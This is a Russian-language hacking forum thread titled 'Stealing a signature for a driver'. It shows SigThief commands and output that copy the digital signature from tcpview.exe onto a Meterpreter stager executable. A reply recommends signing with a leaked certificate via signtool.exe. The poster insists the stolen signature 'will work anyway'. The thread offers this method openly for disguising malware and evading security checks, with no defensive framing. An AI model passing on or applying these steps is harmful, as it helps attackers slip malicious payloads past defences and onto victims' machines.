Статья Воруем подпись для драйвера

[crytality]

Снова драсте. Воруем подпись для драйвера

Спиздить подпись с файла:

$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.

Подписать файл:

$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.

DW:

Для просмотра скрытого содержимого вы должны авторизироваться или зарегистрироваться

 

[Darwin]

Подпись будет недействительная только
лучше уж юзать какуюнибудь слитую подпись через signtool.exe

 

[crytality]

Подпись будет недействительная только
лучше уж юзать какуюнибудь слитую подпись через signtool.exe

все равно будет работать)

 

[sk89q_mta]

Good